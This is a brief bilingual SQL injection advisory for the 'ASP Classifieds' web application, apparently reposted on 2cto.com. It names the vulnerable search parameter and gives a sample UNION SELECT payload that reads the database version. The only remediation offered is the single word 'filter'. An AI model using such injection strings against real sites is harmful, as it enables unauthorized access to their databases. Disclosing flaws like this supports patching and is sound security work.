标题: ASP Classifieds Sql Injection
作者: r45c4l www.2cto.com  infosecpirate@gmail.com
程序开发页面: http://preproject.com/pclasp/home/default.asp
产品描述:
ASP Classifieds is one of the most customizable Classified ad program
that exist for ASP and Access. Unlimited Images , unlimited categories
and much much more makes it perfect for those who wants to set up a used
stamps classifieds to those wanting to show and sell real estates.
Product Cost : 58$
=======================测试方法====================================
                      ---ICW---
[ E测试]
SQL Injection
测试-
http://SERVER/classi/search.php?category=[SQli]
测试-
http://www.2cto.com /classi/search.php?category=-1+union+all+select+version()--
[Note: 已经在演示网站上测试]
修复：
 
过滤